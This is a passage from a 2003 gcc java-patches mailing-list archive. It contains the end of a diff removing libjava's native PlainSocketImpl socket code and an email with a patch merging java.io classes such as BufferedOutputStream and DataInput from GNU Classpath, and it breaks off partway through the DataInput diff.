Avoid races from asynchronous finalization. - JvSynchronize sync (this); - - // should we use shutdown here? how would that effect so_linger? - int res = _Jv_close (fnum); - - if (res == -1) - { - // These three errors are not errors according to tests performed - // on the reference implementation. - if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) - throw new java::io::IOException (JvNewStringUTF (strerror (errno))); - } - // Safe place to reset the file pointer. - fnum = -1; - timeout = 0; -} - -// Write a byte to the socket. -void -java::net::PlainSocketImpl::write(jint b) -{ - jbyte d =(jbyte) b; - int r = 0; - - while (r != 1) - { - r = _Jv_write (fnum, &d, 1); - if (r == -1) - { - if (java::lang::Thread::interrupted()) - { - java::io::InterruptedIOException *iioe - = new java::io::InterruptedIOException - (JvNewStringLatin1 (strerror (errno))); - iioe->bytesTransferred = 0; - throw iioe; - } - // Some errors should not cause exceptions. - if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) - throw new java::io::IOException (JvNewStringUTF (strerror (errno))); - break; - } - } -} - -// Write some bytes to the socket. -void -java::net::PlainSocketImpl::write(jbyteArray b, jint offset, jint len) -{ - if (! b) - throw new java::lang::NullPointerException; - if (offset < 0 || len < 0 || offset + len > JvGetArrayLength (b)) - throw new java::lang::ArrayIndexOutOfBoundsException; - - jbyte *bytes = elements (b) + offset; - int written = 0; - - while (len > 0) - { - int r = _Jv_write (fnum, bytes, len); - - if (r == -1) - { - if (java::lang::Thread::interrupted()) - { - java::io::InterruptedIOException *iioe - = new java::io::InterruptedIOException - (JvNewStringLatin1 (strerror (errno))); - iioe->bytesTransferred = written; - throw iioe; - } - // Some errors should not cause exceptions. - if (errno != ENOTCONN && errno != ECONNRESET && errno != EBADF) - throw new java::io::IOException (JvNewStringUTF (strerror (errno))); - break; - } - - written += r; - len -= r; - bytes += r; - } -} - -void -java::net::PlainSocketImpl::sendUrgentData (jint) -{ - throw new SocketException (JvNewStringLatin1 ( - "PlainSocketImpl: sending of urgent data not supported by this socket")); -} - -// Read a single byte from the socket. -jint -java::net::PlainSocketImpl::read(void) -{ - jbyte b; - -// FIXME: implement timeout support for Win32 -#ifndef WIN32 - // Do timeouts via select. - if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) - { - // Create the file descriptor set. - fd_set read_fds; - FD_ZERO (&read_fds); - FD_SET (fnum,&read_fds); - // Create the timeout struct based on our internal timeout value. - struct timeval timeout_value; - timeout_value.tv_sec = timeout / 1000; - timeout_value.tv_usec = (timeout % 1000) * 1000; - // Select on the fds. - int sel_retval = - _Jv_select (fnum + 1, &read_fds, NULL, NULL, &timeout_value); - // If select returns 0 we've waited without getting data... - // that means we've timed out. - if (sel_retval == 0) - throw new java::io::InterruptedIOException - (JvNewStringUTF ("read timed out") ); - // If select returns ok we know we either got signalled or read some data... - // either way we need to try to read. - } -#endif /* WIN32 */ - - int r = _Jv_read (fnum, &b, 1); - - if (r == 0) - return -1; - - if (java::lang::Thread::interrupted()) - { - java::io::InterruptedIOException *iioe = - new java::io::InterruptedIOException - (JvNewStringUTF("read interrupted")); - iioe->bytesTransferred = r == -1 ? 0 : r; - throw iioe; - } - else if (r == -1) - { - // Some errors cause us to return end of stream... - if (errno == ENOTCONN) - return -1; - - // Other errors need to be signalled. - throw new java::io::IOException (JvNewStringUTF (strerror (errno))); - } - - return b & 0xFF; -} - -// Read count bytes into the buffer, starting at offset. -jint -java::net::PlainSocketImpl::read(jbyteArray buffer, jint offset, jint count) -{ - if (! buffer) - throw new java::lang::NullPointerException; - - jsize bsize = JvGetArrayLength (buffer); - - if (offset < 0 || count < 0 || offset + count > bsize) - throw new java::lang::ArrayIndexOutOfBoundsException; - - jbyte *bytes = elements (buffer) + offset; - -// FIXME: implement timeout support for Win32 -#ifndef WIN32 - // Do timeouts via select. - if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) - { - // Create the file descriptor set. - fd_set read_fds; - FD_ZERO (&read_fds); - FD_SET (fnum, &read_fds); - // Create the timeout struct based on our internal timeout value. - struct timeval timeout_value; - timeout_value.tv_sec = timeout / 1000; - timeout_value.tv_usec =(timeout % 1000) * 1000; - // Select on the fds. - int sel_retval = - _Jv_select (fnum + 1, &read_fds, NULL, NULL, &timeout_value); - // We're only interested in the 0 return. - // error returns still require us to try to read - // the socket to see what happened. - if (sel_retval == 0) - { - java::io::InterruptedIOException *iioe = - new java::io::InterruptedIOException - (JvNewStringUTF ("read interrupted")); - iioe->bytesTransferred = 0; - throw iioe; - } - } -#endif - - // Read the socket. - int r = ::recv (fnum, (char *) bytes, count, 0); - - if (r == 0) - return -1; - - if (java::lang::Thread::interrupted()) - { - java::io::InterruptedIOException *iioe = - new java::io::InterruptedIOException - (JvNewStringUTF ("read interrupted")); - iioe->bytesTransferred = r == -1 ? 0 : r; - throw iioe; - } - else if (r == -1) - { - // Some errors cause us to return end of stream... - if (errno == ENOTCONN) - return -1; - - // Other errors need to be signalled. - throw new java::io::IOException (JvNewStringUTF (strerror (errno))); - } - - return r; -} - -// How many bytes are available? -jint -java::net::PlainSocketImpl::available(void) -{ -#if defined(FIONREAD) || defined(HAVE_SELECT) - long num = 0; - int r = 0; - bool num_set = false; - -#if defined(FIONREAD) - r = ::ioctl (fnum, FIONREAD, &num); - - if (r == -1 && errno == ENOTTY) - { - // If the ioctl doesn't work, we don't care. - r = 0; - num = 0; - } - else - num_set = true; -#elif defined(HAVE_SELECT) - if (fnum < 0) - { - errno = EBADF; - r = -1; - } -#endif - - if (r == -1) - { - posix_error: - throw new java::io::IOException(JvNewStringUTF(strerror(errno))); - } - - // If we didn't get anything we can use select. - -#if defined(HAVE_SELECT) - if (! num_set) - if (! num_set && fnum >= 0 && fnum < FD_SETSIZE) - { - fd_set rd; - FD_ZERO (&rd); - FD_SET (fnum, &rd); - struct timeval tv; - tv.tv_sec = 0; - tv.tv_usec = 0; - r = _Jv_select (fnum + 1, &rd, NULL, NULL, &tv); - if(r == -1) - goto posix_error; - num = r == 0 ? 0 : 1; - } -#endif /* HAVE_SELECT */ - - return (jint) num; -#else - throw new java::io::IOException (JvNewStringUTF ("unimplemented")); -#endif -} - -void -java::net::PlainSocketImpl::setOption (jint optID, java::lang::Object *value) -{ - int val; - socklen_t val_len = sizeof (val); - - if (fnum < 0) - throw new java::net::SocketException (JvNewStringUTF ("Socket closed")); - - if (_Jv_IsInstanceOf (value, &java::lang::Boolean::class$)) - { - java::lang::Boolean *boolobj = - static_cast (value); - if (boolobj->booleanValue()) - val = 1; - else - { - if (optID == _Jv_SO_LINGER_) - val = -1; - else - val = 0; - } - } - else if (_Jv_IsInstanceOf (value, &java::lang::Integer::class$)) - { - java::lang::Integer *intobj = - static_cast (value); - val = (int) intobj->intValue(); - } - else - { - throw new java::lang::IllegalArgumentException ( - JvNewStringLatin1 ("`value' must be Boolean or Integer")); - } - - switch (optID) - { - case _Jv_TCP_NODELAY_ : -#ifdef TCP_NODELAY - if (::setsockopt (fnum, IPPROTO_TCP, TCP_NODELAY, (char *) &val, - val_len) != 0) - goto error; -#else - throw new java::lang::InternalError - (JvNewStringUTF ("TCP_NODELAY not supported")); -#endif /* TCP_NODELAY */ - return; - - case _Jv_SO_KEEPALIVE_ : - if (::setsockopt (fnum, SOL_SOCKET, SO_KEEPALIVE, (char *) &val, - val_len) != 0) - goto error; - break; - - case _Jv_SO_BROADCAST_ : - throw new java::net::SocketException - (JvNewStringUTF ("SO_BROADCAST not valid for TCP")); - break; - - case _Jv_SO_OOBINLINE_ : - if (::setsockopt (fnum, SOL_SOCKET, SO_OOBINLINE, (char *) &val, - val_len) != 0) - goto error; - break; - - case _Jv_SO_LINGER_ : -#ifdef SO_LINGER - struct linger l_val; - l_val.l_onoff = (val != -1); - l_val.l_linger = val; - - if (::setsockopt (fnum, SOL_SOCKET, SO_LINGER, (char *) &l_val, - sizeof(l_val)) != 0) - goto error; -#else - throw new java::lang::InternalError ( - JvNewStringUTF ("SO_LINGER not supported")); -#endif /* SO_LINGER */ - return; - - case _Jv_SO_SNDBUF_ : - case _Jv_SO_RCVBUF_ : -#if defined(SO_SNDBUF) && defined(SO_RCVBUF) - int opt; - optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; - if (::setsockopt (fnum, SOL_SOCKET, opt, (char *) &val, val_len) != 0) - goto error; -#else - throw new java::lang::InternalError ( - JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); -#endif - return; - - case _Jv_SO_BINDADDR_ : - throw new java::net::SocketException ( - JvNewStringUTF ("SO_BINDADDR: read only option")); - return; - - case _Jv_IP_MULTICAST_IF_ : - throw new java::net::SocketException ( - JvNewStringUTF ("IP_MULTICAST_IF: not valid for TCP")); - return; - - case _Jv_IP_MULTICAST_IF2_ : - throw new java::net::SocketException ( - JvNewStringUTF ("IP_MULTICAST_IF2: not valid for TCP")); - break; - - case _Jv_IP_MULTICAST_LOOP_ : - throw new java::net::SocketException ( - JvNewStringUTF ("IP_MULTICAST_LOOP: not valid for TCP")); - break; - - case _Jv_IP_TOS_ : - if (::setsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, - val_len) != 0) - goto error; - break; - - case _Jv_SO_REUSEADDR_ : - throw new java::net::SocketException ( - JvNewStringUTF ("SO_REUSEADDR: not valid for TCP")); - return; - - case _Jv_SO_TIMEOUT_ : - timeout = val; - return; - - default : - errno = ENOPROTOOPT; - } - - error: - char* strerr = strerror (errno); - throw new java::net::SocketException (JvNewStringUTF (strerr)); -} - -java::lang::Object * -java::net::PlainSocketImpl::getOption (jint optID) -{ - int val; - socklen_t val_len = sizeof(val); - union SockAddr u; - socklen_t addrlen = sizeof(u); - struct linger l_val; - socklen_t l_val_len = sizeof(l_val); - - switch (optID) - { -#ifdef TCP_NODELAY - case _Jv_TCP_NODELAY_ : - if (::getsockopt (fnum, IPPROTO_TCP, TCP_NODELAY, (char *) &val, - &val_len) != 0) - goto error; - else - return new java::lang::Boolean (val != 0); -#else - throw new java::lang::InternalError - (JvNewStringUTF ("TCP_NODELAY not supported")); -#endif - break; - - case _Jv_SO_LINGER_ : -#ifdef SO_LINGER - if (::getsockopt (fnum, SOL_SOCKET, SO_LINGER, (char *) &l_val, - &l_val_len) != 0) - goto error; - - if (l_val.l_onoff) - return new java::lang::Integer (l_val.l_linger); - else - return new java::lang::Boolean ((jboolean)false); -#else - throw new java::lang::InternalError - (JvNewStringUTF ("SO_LINGER not supported")); -#endif - break; - - case _Jv_SO_KEEPALIVE_ : - if (::getsockopt (fnum, SOL_SOCKET, SO_KEEPALIVE, (char *) &val, - &val_len) != 0) - goto error; - else - return new java::lang::Boolean (val != 0); - - case _Jv_SO_BROADCAST_ : - if (::getsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, - &val_len) != 0) - goto error; - return new java::lang::Boolean ((jboolean)val); - - case _Jv_SO_OOBINLINE_ : - if (::getsockopt (fnum, SOL_SOCKET, SO_OOBINLINE, (char *) &val, - &val_len) != 0) - goto error; - return new java::lang::Boolean ((jboolean)val); - - case _Jv_SO_RCVBUF_ : - case _Jv_SO_SNDBUF_ : -#if defined(SO_SNDBUF) && defined(SO_RCVBUF) - int opt; - optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; - if (::getsockopt (fnum, SOL_SOCKET, opt, (char *) &val, &val_len) != 0) - goto error; - else - return new java::lang::Integer (val); -#else - throw new java::lang::InternalError - (JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); -#endif - break; - case _Jv_SO_BINDADDR_: - // cache the local address - if (localAddress == NULL) - { - jbyteArray laddr; - - if (::getsockname (fnum, (sockaddr*) &u, &addrlen) != 0) - goto error; - - if (u.address.sin_family == AF_INET) - { - laddr = JvNewByteArray (4); - memcpy (elements (laddr), &u.address.sin_addr, 4); - } -#ifdef HAVE_INET6 - else if (u.address.sin_family == AF_INET6) - { - laddr = JvNewByteArray (16); - memcpy (elements (laddr), &u.address6.sin6_addr, 16); - } -#endif - else - throw new java::net::SocketException - (JvNewStringUTF ("invalid family")); - localAddress = new java::net::InetAddress (laddr, NULL); - } - - return localAddress; - break; - case _Jv_IP_MULTICAST_IF_ : - throw new java::net::SocketException - (JvNewStringUTF ("IP_MULTICAST_IF: not valid for TCP")); - break; - - case _Jv_IP_MULTICAST_IF2_ : - throw new java::net::SocketException - (JvNewStringUTF ("IP_MULTICAST_IF2: not valid for TCP")); - break; - - case _Jv_IP_MULTICAST_LOOP_ : - throw new java::net::SocketException - (JvNewStringUTF ("IP_MULTICAST_LOOP: not valid for TCP")); - break; - - case _Jv_IP_TOS_ : - if (::getsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, - &val_len) != 0) - goto error; - return new java::lang::Integer (val); - break; - - case _Jv_SO_REUSEADDR_ : - throw new java::net::SocketException - (JvNewStringUTF ("SO_REUSEADDR: not valid for TCP")); - break; - - case _Jv_SO_TIMEOUT_ : - return new java::lang::Integer (timeout); - break; - - default : - errno = ENOPROTOOPT; - } - - error: - char* strerr = strerror (errno); - throw new java::net::SocketException (JvNewStringUTF (strerr)); -} - -void -java::net::PlainSocketImpl::shutdownInput (void) -{ - if (::shutdown (fnum, 0)) - throw new SocketException (JvNewStringUTF (strerror (errno))); -} - -void -java::net::PlainSocketImpl::shutdownOutput (void) -{ - if (::shutdown (fnum, 1)) - throw new SocketException (JvNewStringUTF (strerror (errno))); -} - -#endif /* DISABLE_JAVA_NET */ --Boundary-00=_F5sd+epTym3X56b-- From java-patches-return-6519-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 07:51:19 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1350 invoked by alias); 18 Mar 2003 07:51:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1335 invoked from network); 18 Mar 2003 07:51:18 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by sources.redhat.com with SMTP; 18 Mar 2003 07:51:18 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-253.ewetel.net [80.228.73.253]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2I7pDjL015416 for ; Tue, 18 Mar 2003 08:51:13 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vBrK-0002fY-00 for ; Tue, 18 Mar 2003 08:50:06 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: More java.io merges from classpath Date: Tue, 18 Mar 2003 08:52:16 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_wAtd+li5Uh6hHXC" Message-Id: <200303180852.16470.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_wAtd+li5Uh6hHXC Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to merge more from classpath. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dtAwWSOgCCdjSDsRAqF/AJ4tKo+Ld6H/d56x/9r/k4z8OSRTzwCdHMvV ZCD33HeA1JImRQl45ET6b30=3D =3DjJVv =2D----END PGP SIGNATURE----- --Boundary-00=_wAtd+li5Uh6hHXC Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="io.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1787 diff -u -r1.1787 ChangeLog --- ChangeLog 18 Mar 2003 07:41:53 -0000 1.1787 +++ ChangeLog 18 Mar 2003 07:49:51 -0000 @@ -1,5 +1,14 @@ 2003-03-18 Michael Koch + * java/io/BufferedOutputStream.java, + java/io/DataInput.java, + java/io/DataInputStream.java, + java/io/DataOutput.java, + java/io/Externalizable.java: + More merges from classpath. + +2003-03-18 Michael Koch + * configure.in: Fixed links to platform dependant java.net files. * configure: Regenerated. * java/net/natInetAddress.cc, Index: java/io/BufferedOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/BufferedOutputStream.java,v retrieving revision 1.8 diff -u -r1.8 BufferedOutputStream.java --- java/io/BufferedOutputStream.java 13 Feb 2003 22:48:36 -0000 1.8 +++ java/io/BufferedOutputStream.java 18 Mar 2003 07:49:51 -0000 @@ -46,189 +46,179 @@ * efficient mechanism for writing versus doing numerous small unbuffered * writes. * - * @version 0.0 - * * @author Aaron M. Renn (arenn@urbanophile.com) */ public class BufferedOutputStream extends FilterOutputStream { - -/*************************************************************************/ - -/* - * Class Variables - */ - -/** - * This is the default buffer size - */ -private static final int DEFAULT_BUFFER_SIZE = 512; - -/*************************************************************************/ - -/* - * Instance Variables - */ - -/** - * This is the internal byte array used for buffering output before - * writing it. - */ -protected byte[] buf; - -/** - * This is the number of bytes that are currently in the buffer and - * are waiting to be written to the underlying stream. It always points to - * the index into the buffer where the next byte of data will be stored - */ -protected int count; - -/*************************************************************************/ - -/* - * Constructors - */ - -/** - * This method initializes a new BufferedOutputStream instance - * that will write to the specified subordinate OutputStream - * and which will use a default buffer size of 512 bytes. - * - * @param out The underlying OutputStream to write data to - */ -public -BufferedOutputStream(OutputStream out) -{ - this(out, DEFAULT_BUFFER_SIZE); -} - -/*************************************************************************/ - -/** - * This method initializes a new BufferedOutputStream instance - * that will write to the specified subordinate OutputStream - * and which will use the specified buffer size - * - * @param out The underlying OutputStream to write data to - * @param size The size of the internal buffer - */ -public -BufferedOutputStream(OutputStream out, int size) -{ - super(out); - - buf = new byte[size]; -} - -/*************************************************************************/ - -/* - * Instance Methods - */ - -/** - * This method causes any currently buffered bytes to be immediately - * written to the underlying output stream. - * - * @exception IOException If an error occurs + /* + * Class Variables + */ + + /** + * This is the default buffer size + */ + private static final int DEFAULT_BUFFER_SIZE = 512; + + /*************************************************************************/ + + /* + * Instance Variables + */ + + /** + * This is the internal byte array used for buffering output before + * writing it. + */ + protected byte[] buf; + + /** + * This is the number of bytes that are currently in the buffer and + * are waiting to be written to the underlying stream. It always points to + * the index into the buffer where the next byte of data will be stored + */ + protected int count; + + /*************************************************************************/ + + /* + * Constructors + */ + + /** + * This method initializes a new BufferedOutputStream instance + * that will write to the specified subordinate OutputStream + * and which will use a default buffer size of 512 bytes. + * + * @param out The underlying OutputStream to write data to + */ + public BufferedOutputStream(OutputStream out) + { + this(out, DEFAULT_BUFFER_SIZE); + } + + /*************************************************************************/ + + /** + * This method initializes a new BufferedOutputStream instance + * that will write to the specified subordinate OutputStream + * and which will use the specified buffer size + * + * @param out The underlying OutputStream to write data to + * @param size The size of the internal buffer + */ + public BufferedOutputStream(OutputStream out, int size) + { + super(out); + + buf = new byte[size]; + } + + /*************************************************************************/ + + /* + * Instance Methods + */ + + /** + * This method causes any currently buffered bytes to be immediately + * written to the underlying output stream. + * + * @exception IOException If an error occurs + */ + public synchronized void flush() throws IOException + { + if (count == 0) + return; + + out.write(buf, 0, count); + count = 0; + out.flush(); + } + + /*************************************************************************/ + + /* + * This method flushes any remaining buffered bytes then closes the + * underlying output stream. Any further attempts to write to this stream + * may throw an exception + * + public synchronized void close() throws IOException + { + flush(); + out.close(); + } */ -public synchronized void -flush() throws IOException -{ - if (count == 0) - return; - out.write(buf, 0, count); - count = 0; - out.flush(); -} - -/*************************************************************************/ - -/* - * This method flushes any remaining buffered bytes then closes the - * underlying output stream. Any further attempts to write to this stream - * may throw an exception - * -public synchronized void -close() throws IOException -{ - flush(); - out.close(); -} -*/ - -/*************************************************************************/ - -/* - * This method runs when the object is garbage collected. It is - * responsible for ensuring that all buffered bytes are written and - * for closing the underlying stream. - * - * @exception IOException If an error occurs (ignored by the Java runtime) - * -protected void -finalize() throws IOException -{ - close(); -} -*/ - -/*************************************************************************/ - -/** - * This method writes a single byte of data. This will be written to the - * buffer instead of the underlying data source. However, if the buffer - * is filled as a result of this write request, it will be flushed to the - * underlying output stream. - * - * @param b The byte of data to be written, passed as an int - * - * @exception IOException If an error occurs - */ -public synchronized void -write(int b) throws IOException -{ - if (count == buf.length) - flush(); + /*************************************************************************/ - buf[count] = (byte)(b & 0xFF); - ++count; -} - -/*************************************************************************/ - -/** - * This method writes len bytes from the byte array - * buf starting at position offset in the buffer. - * These bytes will be written to the internal buffer. However, if this - * write operation fills the buffer, the buffer will be flushed to the - * underlying output stream. - * - * @param buf The array of bytes to write. - * @param offset The index into the byte array to start writing from. - * @param len The number of bytes to write. - * - * @exception IOException If an error occurs - */ -public synchronized void -write(byte[] buf, int offset, int len) throws IOException -{ - // Buffer can hold everything. Note that the case where LEN < 0 - // is automatically handled by the downstream write. - if (len < (this.buf.length - count)) - { - System.arraycopy(buf, offset, this.buf, count, len); - count += len; - } - else - { - // The write was too big. So flush the buffer and write the new - // bytes directly to the underlying stream, per the JDK 1.2 - // docs. + /* + * This method runs when the object is garbage collected. It is + * responsible for ensuring that all buffered bytes are written and + * for closing the underlying stream. + * + * @exception IOException If an error occurs (ignored by the Java runtime) + * + protected void finalize() throws IOException + { + close(); + } + */ + + /*************************************************************************/ + + /** + * This method writes a single byte of data. This will be written to the + * buffer instead of the underlying data source. However, if the buffer + * is filled as a result of this write request, it will be flushed to the + * underlying output stream. + * + * @param b The byte of data to be written, passed as an int + * + * @exception IOException If an error occurs + */ + public synchronized void write(int b) throws IOException + { + if (count == buf.length) flush(); - out.write (buf, offset, len); - } -} + + buf[count] = (byte)(b & 0xFF); + ++count; + } + + /*************************************************************************/ + + /** + * This method writes len bytes from the byte array + * buf starting at position offset in the buffer. + * These bytes will be written to the internal buffer. However, if this + * write operation fills the buffer, the buffer will be flushed to the + * underlying output stream. + * + * @param buf The array of bytes to write. + * @param offset The index into the byte array to start writing from. + * @param len The number of bytes to write. + * + * @exception IOException If an error occurs + */ + public synchronized void write(byte[] buf, int offset, int len) + throws IOException + { + // Buffer can hold everything. Note that the case where LEN < 0 + // is automatically handled by the downstream write. + if (len < (this.buf.length - count)) + { + System.arraycopy(buf, offset, this.buf, count, len); + count += len; + } + else + { + // The write was too big. So flush the buffer and write the new + // bytes directly to the underlying stream, per the JDK 1.2 + // docs. + flush(); + out.write (buf, offset, len); + } + } } // class BufferedOutputStream + Index: java/io/DataInput.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/DataInput.java,v retrieving revision 1.5 diff -u -r1.5 DataInput.java --- java/io/DataInput.java 22 Jan 2002 22:40:13 -0000 1.5 +++ java/io/DataInput.java 18 Mar 2003 07:49:51 -0000 @@ -1,5 +1,5 @@ /* DataInput.java -- Interface for reading data from a stream - Copyright (C) 1998, 1999, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -40,9 +40,8 @@ /* Written using "Java Class Libraries", 2nd edition, ISBN 0-201-31002-3 * "The Java Language Specification", ISBN 0-201-63451-1 - * plus online API docs for JDK 1.2 beta from http://www.javasoft.com. - * Status: Believed complete and correct. - */ + * plus online API docs for JDK 1.2 beta from http://www.javasoft.com. + * Status: Believed complete and correct. */ /** * This interface is implemented by classes that can data from streams @@ -54,419 +53,422 @@ public interface DataInput { -/** - * This method reads a Java boolean value from an input stream. It does - * so by reading a single byte of data. If that byte is zero, then the - * value returned is false. If the byte is non-zero, then - * the value returned is true. - *

          - * This method can read a boolean written by an object - * implementing the writeBoolean() method in the - * DataOutput interface. - * - * @return The boolean value read - * - * @exception EOFException If end of file is reached before reading the boolean - * @exception IOException If any other error occurs - */ -boolean -readBoolean() throws EOFException, IOException; - -/*************************************************************************/ - -/** - * This method reads a Java byte value from an input stream. The value - * is in the range of -128 to 127. - *

          - * This method can read a byte written by an object - * implementing the - * writeByte() method in the DataOutput interface. - *

          - * @return The byte value read - * - * @exception EOFException If end of file is reached before reading the byte - * @exception IOException If any other error occurs - * - * @see DataOutput - */ -byte -readByte() throws EOFException, IOException; - -/*************************************************************************/ - -/** - * This method reads 8 unsigned bits into a Java int value from - * the stream. The value returned is in the range of 0 to 255. - *

          - * This method can read an unsigned byte written by an object implementing the - * writeUnsignedByte() method in the DataOutput - * interface. - * - * @return The unsigned bytes value read as a Java int. - * - * @exception EOFException If end of file is reached before reading the value - * @exception IOException If any other error occurs - * - * @see DataOutput - */ -int -readUnsignedByte() throws EOFException, IOException; - -/*************************************************************************/ - -/** - * This method reads a Java char value from an input stream. - * It operates by reading two bytes from the stream and converting them to - * a single 16-bit Java char. The two bytes are stored most - * significant byte first (i.e., "big endian") regardless of the native - * host byte ordering. - *

          - * As an example, if byte1 and byte2 represent the - * first and second byte read from the stream respectively, they will be - * transformed to a char in the following manner: - *

          - * (char)((byte1 << 8) + byte2) - *

          - * This method can read a char written by an object implementing - * the - * writeChar() method in the DataOutput interface. - * - * @return The char value read - * - * @exception EOFException If end of file is reached before reading the char - * @exception IOException If any other error occurs - * - * @see DataOutput - */ -char -readChar() throws EOFException, IOException; - -/*************************************************************************/ - -/** - * This method reads a signed 16-bit value into a Java in from the stream. - * It operates by reading two bytes from the stream and converting them to - * a single 16-bit Java short. The two bytes are stored most - * significant byte first (i.e., "big endian") regardless of the native - * host byte ordering. - *

          - * As an example, if byte1 and byte2 represent the - * first and second byte read from the stream respectively, they will be - * transformed to a short in the following manner: - *

          - * (short)((byte1 << 8) + byte2) - *

          - * The value returned is in the range of -32768 to 32767. - *

          - * This method can read a short written by an object implementing - * the writeShort() method in the DataOutput - * interface. - * - * @return The short value read - * - * @exception EOFException If end of file is reached before reading the value - * @exception IOException If any other error occurs - * - * @see DataOutput - */ -short -readShort() throws EOFException, IOException; - -/*************************************************************************/ - -/** - * This method reads 16 unsigned bits into a Java int value from the stream. - * It operates by reading two bytes from the stream and converting them to - * a single Java int. The two bytes are stored most - * significant byte first (i.e., "big endian") regardless of the native - * host byte ordering. - *

          - * As an example, if byte1 and byte2 represent the - * first and second byte read from the stream respectively, they will be - * transformed to an int in the following manner: - *

          - * (int)((byte1 << 8) + byte2) - *

          - * The value returned is in the range of 0 to 65535. - *

          - * This method can read an unsigned short written by an object implementing - * the writeUnsignedShort() method in the DataOutput - * interface. - * - * @return The unsigned short value read as a Java int. - * - * @exception EOFException If end of file is reached before reading the value - * @exception IOException If any other error occurs - */ -int -readUnsignedShort() throws EOFException, IOException; - -/*************************************************************************/ - -/** - * This method reads a Java int value from an input stream - * It operates by reading four bytes from the stream and converting them to - * a single Java int. The bytes are stored most - * significant byte first (i.e., "big endian") regardless of the native - * host byte ordering. - *

          - * As an example, if byte1 through byte4 represent - * the first four bytes read from the stream, they will be - * transformed to an int in the following manner: - *

          - * (int)((byte1 << 24) + (byte2 << 16) + (byte3 << 8) + byte4)) - *

          - The value returned is in the range of -2147483648 to 2147483647. - *

          - * This method can read an int written by an object implementing - * the writeInt() method in the DataOutput interface. - * - * @return The int value read - * - * @exception EOFException If end of file is reached before reading the int - * @exception IOException If any other error occurs - * - * @see DataOutput - */ -int -readInt() throws EOFException, IOException; - -/*************************************************************************/ - -/** - * This method reads a Java long value from an input stream - * It operates by reading eight bytes from the stream and converting them to - * a single Java long. The bytes are stored most - * significant byte first (i.e., "big endian") regardless of the native - * host byte ordering. - *

          - * As an example, if byte1 through byte8 represent - * the first eight bytes read from the stream, they will be - * transformed to an long in the following manner: - *

          - * (long)((byte1 << 56) + (byte2 << 48) + (byte3 << 40) + - * (byte4 << 32) + (byte5 << 24) + (byte6 << 16) + (byte7 << 8) + byte9)) - * - *

          - * The value returned is in the range of -9223372036854775808 to - * 9223372036854775807. - *

          - * This method can read an long written by an object implementing - * the writeLong() method in the DataOutput - * interface. - * - * @return The long value read - * - * @exception EOFException If end of file is reached before reading the long - * @exception IOException If any other error occurs - * - * @see DataOutput - */ -long -readLong() throws EOFException, IOException; - -/*************************************************************************/ - -/** - * This method reads a Java float value from an input stream. It operates - * by first reading an int value from the stream by calling the - * readInt() method in this interface, then converts that - * int to a float using the - * intBitsToFloat method in the class - * java.lang.Float. - *

          - * This method can read a float written by an object implementing - * the writeFloat() method in the DataOutput - * interface. - * - * @return The float value read - * - * @exception EOFException If end of file is reached before reading the float - * @exception IOException If any other error occurs - * - * @see java.lang.Float - * @see DataOutput - */ -float -readFloat() throws EOFException, IOException; - -/*************************************************************************/ - -/** - * This method reads a Java double value from an input stream. It operates - * by first reading a long value from the stream by calling the - * readLong() method in this interface, then converts that - * long to a double using the - * longBitsToDouble method in the class - * java.lang.Double. - *

          - * This method can read a double written by an object - * implementing the writeDouble() method in the - * DataOutput interface. - * - * @return The double value read - * - * @exception EOFException If end of file is reached before reading the double - * @exception IOException If any other error occurs - * - * @see java.lang.Double - * @see DataOutput - */ -double -readDouble() throws EOFException, IOException; - -/*************************************************************************/ - -/** - * This method reads the next line of text data from an input stream. - * It operates by reading bytes and converting those bytes to char - * values by treating the byte read as the low eight bits of the - * char and using 0 as the high eight bits. Because of this, - * it does not support the full 16-bit Unicode character set. - *

          - * The reading of bytes ends when either the end of file or a line terminator - * is encountered. The bytes read are then returned as a String. - * A line terminator is a byte sequence consisting of either - * \r, \n or \r\n. These termination - * charaters are discarded and are not returned as part of the string. - *

